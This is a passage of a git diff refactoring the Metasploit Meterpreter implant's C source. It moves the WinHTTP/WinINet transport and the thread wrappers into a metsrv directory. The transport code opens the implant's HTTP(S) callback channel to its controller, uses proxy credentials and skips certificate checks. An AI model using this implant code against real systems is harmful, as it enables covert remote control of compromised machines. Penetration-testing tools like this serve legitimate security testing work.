_wcsdup(config->proxy.username); + } + dprintf("[TRANS HTTP] Given proxy pass: %S", config->proxy.password); + if (config->proxy.password[0]) + { + ctx->proxy_pass = _wcsdup(config->proxy.password); + } + ctx->ssl = wcsncmp(config->common.url, L"https", 5) == 0; + + if (config->custom_headers[0]) + { + ctx->custom_headers = _wcsdup(config->custom_headers); + if (size) + { + *size += (DWORD)wcslen(ctx->custom_headers) * sizeof(ctx->custom_headers[0]); + } + } + + dprintf("[SERVER] Received HTTPS Hash: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", + config->ssl_cert_hash[0], config->ssl_cert_hash[1], config->ssl_cert_hash[2], config->ssl_cert_hash[3], + config->ssl_cert_hash[4], config->ssl_cert_hash[5], config->ssl_cert_hash[6], config->ssl_cert_hash[7], + config->ssl_cert_hash[8], config->ssl_cert_hash[9], config->ssl_cert_hash[10], config->ssl_cert_hash[11], + config->ssl_cert_hash[12], config->ssl_cert_hash[13], config->ssl_cert_hash[14], config->ssl_cert_hash[15], + config->ssl_cert_hash[16], config->ssl_cert_hash[17], config->ssl_cert_hash[18], config->ssl_cert_hash[19]); + + // only apply the cert hash if we're given one and it's not the global value + SAFE_FREE(ctx->cert_hash); + unsigned char emptyHash[CERT_HASH_SIZE] = { 0 }; + if (memcmp(config->ssl_cert_hash, emptyHash, CERT_HASH_SIZE)) + { + ctx->cert_hash = (PBYTE)malloc(sizeof(BYTE) * 20); + memcpy(ctx->cert_hash, config->ssl_cert_hash, 20); + } + + ctx->create_req = get_request_winhttp; + ctx->send_req = send_request_winhttp; + ctx->close_req = close_request_winhttp; + ctx->validate_response = validate_response_winhttp; + ctx->receive_response = receive_response_winhttp; + ctx->read_response = read_response_winhttp; + + transport->timeouts.comms = config->common.comms_timeout; + transport->timeouts.retry_total = config->common.retry_total; + transport->timeouts.retry_wait = config->common.retry_wait; + transport->type = ctx->ssl ? METERPRETER_TRANSPORT_HTTPS : METERPRETER_TRANSPORT_HTTP; + ctx->url = transport->url = _wcsdup(config->common.url); + transport->packet_transmit = packet_transmit_http; + transport->server_dispatch = server_dispatch_http; + transport->transport_init = server_init_winhttp; + transport->transport_deinit = server_deinit_http; + transport->transport_destroy = transport_destroy_http; + transport->ctx = ctx; + transport->comms_last_packet = current_unix_timestamp(); + transport->get_config_size = transport_get_config_size_http; + + return transport; +} diff --git a/c/meterpreter/source/server/win/server_transport_winhttp.h b/c/meterpreter/source/metsrv/server_transport_winhttp.h old mode 100755 new mode 100644 similarity index 63% rename from c/meterpreter/source/server/win/server_transport_winhttp.h rename to c/meterpreter/source/metsrv/server_transport_winhttp.h index 80fb16b0..b1385353 --- a/c/meterpreter/source/server/win/server_transport_winhttp.h +++ b/c/meterpreter/source/metsrv/server_transport_winhttp.h @@ -1,5 +1,5 @@ -#ifndef _METERPRETER_SERVER_TRANSPORT_WINHTTP -#define _METERPRETER_SERVER_TRANSPORT_WINHTTP +#ifndef _METERPRETER_METSRV_TRANSPORT_WINHTTP +#define _METERPRETER_METSRV_TRANSPORT_WINHTTP void transport_write_http_config(Transport* transport, MetsrvTransportHttp* config); Transport* transport_create_http(MetsrvTransportHttp* httpConfig, LPDWORD size); diff --git a/c/meterpreter/source/server/win/server_transport_wininet.c b/c/meterpreter/source/metsrv/server_transport_wininet.c old mode 100755 new mode 100644 similarity index 96% rename from c/meterpreter/source/server/win/server_transport_wininet.c rename to c/meterpreter/source/metsrv/server_transport_wininet.c index 6bcc31fc..0d47688f --- a/c/meterpreter/source/server/win/server_transport_wininet.c +++ b/c/meterpreter/source/metsrv/server_transport_wininet.c @@ -1,236 +1,236 @@ -/*! - * @file server_transport_wininet.c - */ -#include "metsrv.h" -#include - -/*! - * @brief Prepare a wininet request with the given context. - * @param ctx Pointer to the HTTP transport context to prepare the request from. - * @param isGet Indication of whether this request is a GET request, otherwise POST is used. - * @param direction String representing the direction of the communications (for debug). - * @return An Internet request handle. - */ -static HINTERNET get_request_wininet(HttpTransportContext *ctx, BOOL isGet, const char *direction) -{ - HINTERNET hReq = NULL; - DWORD flags = INTERNET_FLAG_RELOAD - | INTERNET_FLAG_NO_CACHE_WRITE - | INTERNET_FLAG_KEEP_CONNECTION - | INTERNET_FLAG_NO_AUTO_REDIRECT - | INTERNET_FLAG_NO_UI; - - if (ctx->ssl) - { - flags |= INTERNET_FLAG_SECURE - | INTERNET_FLAG_IGNORE_CERT_CN_INVALID - | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID; - dprintf("[%s] Setting secure request flag..", direction); - } - - do - { - vdprintf("[%s] opening request on connection %x to %S", direction, ctx->connection, ctx->uri); - hReq = HttpOpenRequestW(ctx->connection, isGet ? L"GET" : L"POST", ctx->uri, NULL, NULL, NULL, flags, 0); - - if (hReq == NULL) - { - dprintf("[%s] Failed HttpOpenRequestW: %d", direction, GetLastError()); - SetLastError(ERROR_NOT_FOUND); - break; - } - - if (ctx->ssl) - { - DWORD secureFlags = SECURITY_FLAG_IGNORE_CERT_CN_INVALID - | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID - | SECURITY_FLAG_IGNORE_WRONG_USAGE - | SECURITY_FLAG_IGNORE_UNKNOWN_CA - | SECURITY_FLAG_IGNORE_REVOCATION; - - dprintf("[%s] Setting secure option flags", direction); - if (!InternetSetOptionW(hReq, INTERNET_OPTION_SECURITY_FLAGS, &secureFlags, sizeof(secureFlags))) - { - dprintf("[%s] Failed InternetSetOptionW: %d", direction, GetLastError()); - SetLastError(ERROR_NOT_FOUND); - break; - } - } - - return hReq; - } while (0); - - if (hReq != NULL) - { - InternetCloseHandle(hReq); - } - - return NULL; -} - -/*! - * @brief Wrapper around WinINET-specific request handle closing functionality. - * @param hReq HTTP request handle. - * @return An indication of the result of sending the request. - */ -static BOOL close_request_wininet(HANDLE hReq) -{ - return InternetCloseHandle(hReq); -} - -/*! - * @brief Wrapper around WinINET-specific response data reading functionality. - * @param hReq HTTP request handle. - * @param buffer Pointer to the data buffer. - * @param bytesToRead The number of bytes to read. - * @param bytesRead The number of bytes actually read. - * @return An indication of the result of sending the request. - */ -static BOOL read_response_wininet(HANDLE hReq, LPVOID buffer, DWORD bytesToRead, LPDWORD bytesRead) -{ - return InternetReadFile(hReq, buffer, bytesToRead, bytesRead); -} - -/*! - * @brief Wrapper around WinINET-specific sending functionality. - * @param ctx Pointer to the current HTTP transport context. - * @param hReq HTTP request handle. - * @param buffer Pointer to the buffer to receive the data. - * @param size Buffer size. - * @return An indication of the result of sending the request. - */ -static BOOL send_request_wininet(HttpTransportContext* ctx, HANDLE hReq, LPVOID buffer, DWORD size) -{ - if (ctx->custom_headers) - { - dprintf("[WINHTTP] Sending with custom headers: %S", ctx->custom_headers); - return HttpSendRequestW(hReq, ctx->custom_headers, -1L, buffer, size); - } - - return HttpSendRequestW(hReq, NULL, 0, buffer, size); -} - -/*! - * @brief Wrapper around WinINET-specific request response validation. - * @param hReq HTTP request handle. - * @param ctx The HTTP transport context. - * @return An indication of the result of getting a response. - */ -static DWORD validate_response_wininet(HANDLE hReq, HttpTransportContext* ctx) -{ - DWORD statusCode; - DWORD statusCodeSize = sizeof(statusCode); - vdprintf("[PACKET RECEIVE WININET] Getting the result code..."); - if (HttpQueryInfoW(hReq, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &statusCode, &statusCodeSize, 0)) - { - vdprintf("[PACKET RECEIVE WININET] Returned status code is %d", statusCode); - - // did the request succeed? - if (statusCode != 200) - { - // bomb out - return ERROR_BAD_CONFIGURATION; - } - } - - return ERROR_SUCCESS; -} - -/*! - * @brief Initialise the HTTP(S) connection. - * @param transport Pointer to the transport instance. - * @return Indication of success or failure. - */ -static BOOL server_init_wininet(Transport* transport) -{ - URL_COMPONENTS bits; - wchar_t tmpHostName[URL_SIZE]; - wchar_t tmpUrlPath[URL_SIZE]; - HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; - - dprintf("[WININET] Initialising ..."); - - // configure proxy - if (ctx->proxy) - { - dprintf("[DISPATCH] Configuring with proxy: %S", ctx->proxy); - ctx->internet = InternetOpenW(ctx->ua, INTERNET_OPEN_TYPE_PROXY, ctx->proxy, NULL, 0); - } - else - { - ctx->internet = InternetOpenW(ctx->ua, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); - } - - if (!ctx->internet) - { - dprintf("[DISPATCH] Failed InternetOpenW: %d", GetLastError()); - return FALSE; - } - - dprintf("[DISPATCH] Configured hInternet: 0x%.8x", ctx->internet); - - // The InternetCrackUrl method was poorly designed... - ZeroMemory(tmpHostName, sizeof(tmpHostName)); - ZeroMemory(tmpUrlPath, sizeof(tmpUrlPath)); - - ZeroMemory(&bits, sizeof(bits)); - bits.dwStructSize = sizeof(bits); - - bits.dwHostNameLength = URL_SIZE - 1; - bits.lpszHostName = tmpHostName; - - bits.dwUrlPathLength = URL_SIZE - 1; - bits.lpszUrlPath = tmpUrlPath; - - dprintf("[DISPATCH] About to crack URL: %S", transport->url); - InternetCrackUrlW(transport->url, 0, 0, &bits); - - SAFE_FREE(ctx->uri); - ctx->uri = _wcsdup(tmpUrlPath); - transport->comms_last_packet = current_unix_timestamp(); - - dprintf("[DISPATCH] Configured URI: %S", ctx->uri); - dprintf("[DISPATCH] Host: %S Port: %u", tmpHostName, bits.nPort); - - // Allocate the connection handle - ctx->connection = InternetConnectW(ctx->internet, tmpHostName, bits.nPort, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); - if (!ctx->connection) - { - dprintf("[DISPATCH] Failed InternetConnect: %d", GetLastError()); - return FALSE; - } - - if (ctx->proxy) - { - if (ctx->proxy_user) - { - InternetSetOptionW(ctx->connection, INTERNET_OPTION_PROXY_USERNAME, ctx->proxy_user, (DWORD)wcslen(ctx->proxy_user)); - } - if (ctx->proxy_pass) - { - InternetSetOptionW(ctx->connection, INTERNET_OPTION_PROXY_PASSWORD, ctx->proxy_pass, (DWORD)wcslen(ctx->proxy_pass)); - } - } - - dprintf("[DISPATCH] Configured hConnection: 0x%.8x", ctx->connection); - - return TRUE; -} - -/*! - * @brief Take over control from the WinINET transport. - * @param transport Pointer to the transport to hijack. - */ -void transport_move_to_wininet(Transport* transport) -{ - HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; - - ctx->create_req = get_request_wininet; - ctx->send_req = send_request_wininet; - ctx->close_req = close_request_wininet; - ctx->validate_response = validate_response_wininet; - ctx->receive_response = NULL; - ctx->read_response = read_response_wininet; - - transport->transport_init = server_init_wininet; -} +/*! + * @file server_transport_wininet.c + */ +#include "metsrv.h" +#include + +/*! + * @brief Prepare a wininet request with the given context. + * @param ctx Pointer to the HTTP transport context to prepare the request from. + * @param isGet Indication of whether this request is a GET request, otherwise POST is used. + * @param direction String representing the direction of the communications (for debug). + * @return An Internet request handle. + */ +static HINTERNET get_request_wininet(HttpTransportContext *ctx, BOOL isGet, const char *direction) +{ + HINTERNET hReq = NULL; + DWORD flags = INTERNET_FLAG_RELOAD + | INTERNET_FLAG_NO_CACHE_WRITE + | INTERNET_FLAG_KEEP_CONNECTION + | INTERNET_FLAG_NO_AUTO_REDIRECT + | INTERNET_FLAG_NO_UI; + + if (ctx->ssl) + { + flags |= INTERNET_FLAG_SECURE + | INTERNET_FLAG_IGNORE_CERT_CN_INVALID + | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID; + dprintf("[%s] Setting secure request flag..", direction); + } + + do + { + vdprintf("[%s] opening request on connection %x to %S", direction, ctx->connection, ctx->uri); + hReq = HttpOpenRequestW(ctx->connection, isGet ? L"GET" : L"POST", ctx->uri, NULL, NULL, NULL, flags, 0); + + if (hReq == NULL) + { + dprintf("[%s] Failed HttpOpenRequestW: %d", direction, GetLastError()); + SetLastError(ERROR_NOT_FOUND); + break; + } + + if (ctx->ssl) + { + DWORD secureFlags = SECURITY_FLAG_IGNORE_CERT_CN_INVALID + | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID + | SECURITY_FLAG_IGNORE_WRONG_USAGE + | SECURITY_FLAG_IGNORE_UNKNOWN_CA + | SECURITY_FLAG_IGNORE_REVOCATION; + + dprintf("[%s] Setting secure option flags", direction); + if (!InternetSetOptionW(hReq, INTERNET_OPTION_SECURITY_FLAGS, &secureFlags, sizeof(secureFlags))) + { + dprintf("[%s] Failed InternetSetOptionW: %d", direction, GetLastError()); + SetLastError(ERROR_NOT_FOUND); + break; + } + } + + return hReq; + } while (0); + + if (hReq != NULL) + { + InternetCloseHandle(hReq); + } + + return NULL; +} + +/*! + * @brief Wrapper around WinINET-specific request handle closing functionality. + * @param hReq HTTP request handle. + * @return An indication of the result of sending the request. + */ +static BOOL close_request_wininet(HANDLE hReq) +{ + return InternetCloseHandle(hReq); +} + +/*! + * @brief Wrapper around WinINET-specific response data reading functionality. + * @param hReq HTTP request handle. + * @param buffer Pointer to the data buffer. + * @param bytesToRead The number of bytes to read. + * @param bytesRead The number of bytes actually read. + * @return An indication of the result of sending the request. + */ +static BOOL read_response_wininet(HANDLE hReq, LPVOID buffer, DWORD bytesToRead, LPDWORD bytesRead) +{ + return InternetReadFile(hReq, buffer, bytesToRead, bytesRead); +} + +/*! + * @brief Wrapper around WinINET-specific sending functionality. + * @param ctx Pointer to the current HTTP transport context. + * @param hReq HTTP request handle. + * @param buffer Pointer to the buffer to receive the data. + * @param size Buffer size. + * @return An indication of the result of sending the request. + */ +static BOOL send_request_wininet(HttpTransportContext* ctx, HANDLE hReq, LPVOID buffer, DWORD size) +{ + if (ctx->custom_headers) + { + dprintf("[WINHTTP] Sending with custom headers: %S", ctx->custom_headers); + return HttpSendRequestW(hReq, ctx->custom_headers, -1L, buffer, size); + } + + return HttpSendRequestW(hReq, NULL, 0, buffer, size); +} + +/*! + * @brief Wrapper around WinINET-specific request response validation. + * @param hReq HTTP request handle. + * @param ctx The HTTP transport context. + * @return An indication of the result of getting a response. + */ +static DWORD validate_response_wininet(HANDLE hReq, HttpTransportContext* ctx) +{ + DWORD statusCode; + DWORD statusCodeSize = sizeof(statusCode); + vdprintf("[PACKET RECEIVE WININET] Getting the result code..."); + if (HttpQueryInfoW(hReq, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &statusCode, &statusCodeSize, 0)) + { + vdprintf("[PACKET RECEIVE WININET] Returned status code is %d", statusCode); + + // did the request succeed? + if (statusCode != 200) + { + // bomb out + return ERROR_BAD_CONFIGURATION; + } + } + + return ERROR_SUCCESS; +} + +/*! + * @brief Initialise the HTTP(S) connection. + * @param transport Pointer to the transport instance. + * @return Indication of success or failure. + */ +static BOOL server_init_wininet(Transport* transport) +{ + URL_COMPONENTS bits; + wchar_t tmpHostName[URL_SIZE]; + wchar_t tmpUrlPath[URL_SIZE]; + HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; + + dprintf("[WININET] Initialising ..."); + + // configure proxy + if (ctx->proxy) + { + dprintf("[DISPATCH] Configuring with proxy: %S", ctx->proxy); + ctx->internet = InternetOpenW(ctx->ua, INTERNET_OPEN_TYPE_PROXY, ctx->proxy, NULL, 0); + } + else + { + ctx->internet = InternetOpenW(ctx->ua, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); + } + + if (!ctx->internet) + { + dprintf("[DISPATCH] Failed InternetOpenW: %d", GetLastError()); + return FALSE; + } + + dprintf("[DISPATCH] Configured hInternet: 0x%.8x", ctx->internet); + + // The InternetCrackUrl method was poorly designed... + ZeroMemory(tmpHostName, sizeof(tmpHostName)); + ZeroMemory(tmpUrlPath, sizeof(tmpUrlPath)); + + ZeroMemory(&bits, sizeof(bits)); + bits.dwStructSize = sizeof(bits); + + bits.dwHostNameLength = URL_SIZE - 1; + bits.lpszHostName = tmpHostName; + + bits.dwUrlPathLength = URL_SIZE - 1; + bits.lpszUrlPath = tmpUrlPath; + + dprintf("[DISPATCH] About to crack URL: %S", transport->url); + InternetCrackUrlW(transport->url, 0, 0, &bits); + + SAFE_FREE(ctx->uri); + ctx->uri = _wcsdup(tmpUrlPath); + transport->comms_last_packet = current_unix_timestamp(); + + dprintf("[DISPATCH] Configured URI: %S", ctx->uri); + dprintf("[DISPATCH] Host: %S Port: %u", tmpHostName, bits.nPort); + + // Allocate the connection handle + ctx->connection = InternetConnectW(ctx->internet, tmpHostName, bits.nPort, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); + if (!ctx->connection) + { + dprintf("[DISPATCH] Failed InternetConnect: %d", GetLastError()); + return FALSE; + } + + if (ctx->proxy) + { + if (ctx->proxy_user) + { + InternetSetOptionW(ctx->connection, INTERNET_OPTION_PROXY_USERNAME, ctx->proxy_user, (DWORD)wcslen(ctx->proxy_user)); + } + if (ctx->proxy_pass) + { + InternetSetOptionW(ctx->connection, INTERNET_OPTION_PROXY_PASSWORD, ctx->proxy_pass, (DWORD)wcslen(ctx->proxy_pass)); + } + } + + dprintf("[DISPATCH] Configured hConnection: 0x%.8x", ctx->connection); + + return TRUE; +} + +/*! + * @brief Take over control from the WinINET transport. + * @param transport Pointer to the transport to hijack. + */ +void transport_move_to_wininet(Transport* transport) +{ + HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; + + ctx->create_req = get_request_wininet; + ctx->send_req = send_request_wininet; + ctx->close_req = close_request_wininet; + ctx->validate_response = validate_response_wininet; + ctx->receive_response = NULL; + ctx->read_response = read_response_wininet; + + transport->transport_init = server_init_wininet; +} diff --git a/c/meterpreter/source/metsrv/server_transport_wininet.h b/c/meterpreter/source/metsrv/server_transport_wininet.h new file mode 100644 index 00000000..3cac0bec --- /dev/null +++ b/c/meterpreter/source/metsrv/server_transport_wininet.h @@ -0,0 +1,6 @@ +#ifndef _METERPRETER_METSRV_TRANSPORT_WININET +#define _METERPRETER_METSRV_TRANSPORT_WININET + +void transport_move_to_wininet(Transport* transport); + +#endif \ No newline at end of file diff --git a/c/meterpreter/source/common/thread.c b/c/meterpreter/source/metsrv/thread.c similarity index 92% rename from c/meterpreter/source/common/thread.c rename to c/meterpreter/source/metsrv/thread.c index c2444a48..47c15750 100644 --- a/c/meterpreter/source/common/thread.c +++ b/c/meterpreter/source/metsrv/thread.c @@ -1,338 +1,338 @@ -#include "common.h" - -// thread.c contains wrappers for the primitives of locks, events and threads for use in -// the multithreaded meterpreter. This is the win32/win64 implementation. - -/*****************************************************************************************/ - -/* - * Create a new lock. We choose Mutex's over CriticalSections as their appears to be an issue - * when using CriticalSections with OpenSSL on some Windows systems. Mutex's are not as optimal - * as CriticalSections but they appear to resolve the OpenSSL deadlock issue. - */ -LOCK * lock_create( VOID ) -{ - LOCK * lock = (LOCK *)malloc( sizeof( LOCK ) ); - if( lock != NULL ) - { - memset( lock, 0, sizeof( LOCK ) ); - - lock->handle = CreateMutex( NULL, FALSE, NULL ); - } - return lock; -} - -/* - * Destroy a lock that is no longer required. - */ -VOID lock_destroy( LOCK * lock ) -{ - if( lock != NULL ) - { - lock_release( lock ); - - CloseHandle( lock->handle ); - - free( lock ); - } -} - -/* - * Acquire a lock and block untill it is acquired. - */ -VOID lock_acquire( LOCK * lock ) -{ - if( lock != NULL ) { - WaitForSingleObject( lock->handle, INFINITE ); - } -} - -/* - * Release a lock previously held. - */ -VOID lock_release( LOCK * lock ) -{ - if( lock != NULL ) { - ReleaseMutex( lock->handle ); - } -} - -/*****************************************************************************************/ - -/* - * Create a new event which can be signaled/polled/and blocked on. - */ -EVENT * event_create( VOID ) -{ - EVENT * event = NULL; - - event = (EVENT *)malloc( sizeof( EVENT ) ); - if( event == NULL ) - return NULL; - - memset( event, 0, sizeof( EVENT ) ); - - event->handle = CreateEvent( NULL, FALSE, FALSE, NULL ); - if( event->handle == NULL ) - { - free( event ); - return NULL; - } - - return event; -} - -/* - * Destroy an event. - */ -BOOL event_destroy( EVENT * event ) -{ - if( event == NULL ) - return FALSE; - - CloseHandle( event->handle ); - - free( event ); - - return TRUE; -} - -/* - * Signal an event. - */ -BOOL event_signal( EVENT * event ) -{ - if( event == NULL ) - return FALSE; - - dprintf( "Signalling 0x%x", event->handle ); - if( SetEvent( event->handle ) == 0 ) { - dprintf( "Signalling 0x%x failed %u", event->handle, GetLastError() ); - return FALSE; - } - - return TRUE; -} - -/* - * Poll an event to see if it has been signaled. Set timeout to -1 to block indefinatly. - * If timeout is 0 this function does not block but returns immediately. - */ -BOOL event_poll( EVENT * event, DWORD timeout ) -{ - if( event == NULL ) - return FALSE; - - if( WaitForSingleObject( event->handle, timeout ) == WAIT_OBJECT_0 ) - return TRUE; - - return FALSE; -} - -/*****************************************************************************************/ - -/* - * Opens and create a THREAD item for the current/calling thread. - */ -THREAD* thread_open(VOID) -{ - THREAD* thread = NULL; - OPENTHREAD pOpenThread = NULL; - HMODULE hKernel32 = NULL; - - thread = (THREAD*)malloc(sizeof(THREAD)); - if (thread != NULL) - { - memset(thread, 0, sizeof(THREAD)); - - thread->id = GetCurrentThreadId(); - thread->sigterm = event_create(); - - // Windows specific process of opening a handle to the current thread which - // works on NT4 up. We only want THREAD_TERMINATE|THREAD_SUSPEND_RESUME access - // for now. - - // First we try to use the normal OpenThread function, available on Windows 2000 and up... - hKernel32 = LoadLibrary("kernel32.dll"); - pOpenThread = (OPENTHREAD)GetProcAddress(hKernel32, "OpenThread"); - if (pOpenThread) - { - thread->handle = pOpenThread(THREAD_TERMINATE | THREAD_SUSPEND_RESUME, FALSE, thread->id); - } - else - { - NTOPENTHREAD pNtOpenThread = NULL; - // If we can't use OpenThread, we try the older NtOpenThread function as found on NT4 machines. - HMODULE hNtDll = LoadLibrary("ntdll.dll"); - pNtOpenThread = (NTOPENTHREAD)GetProcAddress(hNtDll, "NtOpenThread"); - if (pNtOpenThread) - { - _OBJECT_ATTRIBUTES oa = { 0 }; - _CLIENT_ID cid = { 0 }; - - cid.UniqueThread = (PVOID)(DWORD_PTR)thread->id; - - pNtOpenThread(&thread->handle, THREAD_TERMINATE | THREAD_SUSPEND_RESUME, &oa, &cid); - } - - FreeLibrary(hNtDll); - } - - FreeLibrary(hKernel32); - } - - return thread; -} - -void disable_thread_error_reporting() -{ - HMODULE hKernel32 = LoadLibrary("kernel32.dll"); - DWORD(WINAPI * pSetThreadErrorMode)(DWORD, DWORD*); - pSetThreadErrorMode = (void*)GetProcAddress(hKernel32, "SetThreadErrorMode"); - if (pSetThreadErrorMode) - { - pSetThreadErrorMode(SEM_FAILCRITICALERRORS, NULL); - } -} - -static DWORD THREADCALL thread_preamble(THREAD* thread) -{ - disable_thread_error_reporting(); - return thread->funk(thread); -} - -/* - * Create a new thread in a suspended state. - */ -THREAD* thread_create(THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID param3) -{ - THREAD* thread = NULL; - - if (funk == NULL) - { - return NULL; - } - - thread = malloc(sizeof(THREAD)); - if (thread == NULL) - { - return NULL; - } - - memset(thread, 0, sizeof(THREAD)); - - thread->sigterm = event_create(); - if (thread->sigterm == NULL) - { - free(thread); - return NULL; - } - - thread->parameter1 = param1; - thread->parameter2 = param2; - thread->parameter3 = param3; - thread->funk = funk; - - thread->handle = CreateThread(NULL, 0, thread_preamble, thread, CREATE_SUSPENDED, &thread->id); - - if (thread->handle == NULL) - { - event_destroy(thread->sigterm); - free(thread); - return NULL; - } - - return thread; -} - -/* - * Run a thread. - */ -BOOL thread_run(THREAD* thread) -{ - if (thread == NULL) - { - return FALSE; - } - - if (ResumeThread(thread->handle) < 0) - { - return FALSE; - } - - return TRUE; -} - -/* - * Signals the thread to terminate. It is the responsibility of the thread to wait for and process this signal. - * Should be used to signal the thread to terminate. - */ -BOOL thread_sigterm(THREAD* thread) -{ - BOOL ret; - - if (thread == NULL) - { - return FALSE; - } - - ret = event_signal(thread->sigterm); - - return ret; -} - -/* - * Terminate a thread. Use with caution! better to signal your thread to terminate and wait for it to do so. - */ -BOOL thread_kill(THREAD* thread) -{ - if (thread == NULL) - { - return FALSE; - } - - if (TerminateThread(thread->handle, -1) == 0) - { - return FALSE; - } - - return TRUE; -} - -/* - * Blocks untill the thread has terminated. - */ -BOOL thread_join(THREAD* thread) -{ - if (thread == NULL) - { - return FALSE; - } - - if (WaitForSingleObject(thread->handle, INFINITE) == WAIT_OBJECT_0) - { - return TRUE; - } - - return FALSE; -} - -/* - * Destroys a previously created thread. Note, this does not terminate the thread. You must signal your - * thread to terminate and wait for it to do so (via thread_signal/thread_join). - */ -BOOL thread_destroy(THREAD* thread) -{ - if (thread == NULL) - { - return FALSE; - } - - event_destroy(thread->sigterm); - - CloseHandle(thread->handle); - - free(thread); - - return TRUE; -} +#include "metsrv.h" + +// thread.c contains wrappers for the primitives of locks, events and threads for use in +// the multithreaded meterpreter. This is the win32/win64 implementation. + +/*****************************************************************************************/ + +/* + * Create a new lock. We choose Mutex's over CriticalSections as their appears to be an issue + * when using CriticalSections with OpenSSL on some Windows systems. Mutex's are not as optimal + * as CriticalSections but they appear to resolve the OpenSSL deadlock issue. + */ +LOCK * lock_create( VOID ) +{ + LOCK * lock = (LOCK *)malloc( sizeof( LOCK ) ); + if( lock != NULL ) + { + memset( lock, 0, sizeof( LOCK ) ); + + lock->handle = CreateMutex( NULL, FALSE, NULL ); + } + return lock; +} + +/* + * Destroy a lock that is no longer required. + */ +VOID lock_destroy( LOCK * lock ) +{ + if( lock != NULL ) + { + lock_release( lock ); + + CloseHandle( lock->handle ); + + free( lock ); + } +} + +/* + * Acquire a lock and block untill it is acquired. + */ +VOID lock_acquire( LOCK * lock ) +{ + if( lock != NULL ) { + WaitForSingleObject( lock->handle, INFINITE ); + } +} + +/* + * Release a lock previously held. + */ +VOID lock_release( LOCK * lock ) +{ + if( lock != NULL ) { + ReleaseMutex( lock->handle ); + } +} + +/*****************************************************************************************/ + +/* + * Create a new event which can be signaled/polled/and blocked on. + */ +EVENT * event_create( VOID ) +{ + EVENT * event = NULL; + + event = (EVENT *)malloc( sizeof( EVENT ) ); + if( event == NULL ) + return NULL; + + memset( event, 0, sizeof( EVENT ) ); + + event->handle = CreateEvent( NULL, FALSE, FALSE, NULL ); + if( event->handle == NULL ) + { + free( event ); + return NULL; + } + + return event; +} + +/* + * Destroy an event. + */ +BOOL event_destroy( EVENT * event ) +{ + if( event == NULL ) + return FALSE; + + CloseHandle( event->handle ); + + free( event ); + + return TRUE; +} + +/* + * Signal an event. + */ +BOOL event_signal( EVENT * event ) +{ + if( event == NULL ) + return FALSE; + + dprintf( "Signalling 0x%x", event->handle ); + if( SetEvent( event->handle ) == 0 ) { + dprintf( "Signalling 0x%x failed %u", event->handle, GetLastError() ); + return FALSE; + } + + return TRUE; +} + +/* + * Poll an event to see if it has been signaled. Set timeout to -1 to block indefinatly. + * If timeout is 0 this function does not block but returns immediately. + */ +BOOL event_poll( EVENT * event, DWORD timeout ) +{ + if( event == NULL ) + return FALSE; + + if( WaitForSingleObject( event->handle, timeout ) == WAIT_OBJECT_0 ) + return TRUE; + + return FALSE; +} + +/*****************************************************************************************/ + +/* + * Opens and create a THREAD item for the current/calling thread. + */ +THREAD* thread_open(VOID) +{ + THREAD* thread = NULL; + OPENTHREAD pOpenThread = NULL; + HMODULE hKernel32 = NULL; + + thread = (THREAD*)malloc(sizeof(THREAD)); + if (thread != NULL) + { + memset(thread, 0, sizeof(THREAD)); + + thread->id = GetCurrentThreadId(); + thread->sigterm = event_create(); + + // Windows specific process of opening a handle to the current thread which + // works on NT4 up. We only want THREAD_TERMINATE|THREAD_SUSPEND_RESUME access + // for now. + + // First we try to use the normal OpenThread function, available on Windows 2000 and up... + hKernel32 = LoadLibraryA("kernel32.dll"); + pOpenThread = (OPENTHREAD)GetProcAddress(hKernel32, "OpenThread"); + if (pOpenThread) + { + thread->handle = pOpenThread(THREAD_TERMINATE | THREAD_SUSPEND_RESUME, FALSE, thread->id); + } + else + { + NTOPENTHREAD pNtOpenThread = NULL; + // If we can't use OpenThread, we try the older NtOpenThread function as found on NT4 machines. + HMODULE hNtDll = LoadLibraryA("ntdll.dll"); + pNtOpenThread = (NTOPENTHREAD)GetProcAddress(hNtDll, "NtOpenThread"); + if (pNtOpenThread) + { + _OBJECT_ATTRIBUTES oa = { 0 }; + _CLIENT_ID cid = { 0 }; + + cid.UniqueThread = (PVOID)(DWORD_PTR)thread->id; + + pNtOpenThread(&thread->handle, THREAD_TERMINATE | THREAD_SUSPEND_RESUME, &oa, &cid); + } + + FreeLibrary(hNtDll); + } + + FreeLibrary(hKernel32); + } + + return thread; +} + +void disable_thread_error_reporting() +{ + HMODULE hKernel32 = LoadLibraryA("kernel32.dll"); + DWORD(WINAPI * pSetThreadErrorMode)(DWORD, DWORD*); + pSetThreadErrorMode = (void*)GetProcAddress(hKernel32, "SetThreadErrorMode"); + if (pSetThreadErrorMode) + { + pSetThreadErrorMode(SEM_FAILCRITICALERRORS, NULL); + } +} + +static DWORD THREADCALL thread_preamble(THREAD* thread) +{ + disable_thread_error_reporting(); + return thread->funk(thread); +} + +/* + * Create a new thread in a suspended state. + */ +THREAD* thread_create(THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID param3) +{ + THREAD* thread = NULL; + + if (funk == NULL) + { + return NULL; + } + + thread = malloc(sizeof(THREAD)); + if (thread == NULL) + { + return NULL; + } + + memset(thread, 0, sizeof(THREAD)); + + thread->sigterm = event_create(); + if (thread->sigterm == NULL) + { + free(thread); + return NULL; + } + + thread->parameter1 = param1; + thread->parameter2 = param2; + thread->parameter3 = param3; + thread->funk = funk; + + thread->handle = CreateThread(NULL, 0, thread_preamble, thread, CREATE_SUSPENDED, &thread->id); + + if (thread->handle == NULL) + { + event_destroy(thread->sigterm); + free(thread); + return NULL; + } + + return thread; +} + +/* + * Run a thread. + */ +BOOL thread_run(THREAD* thread) +{ + if 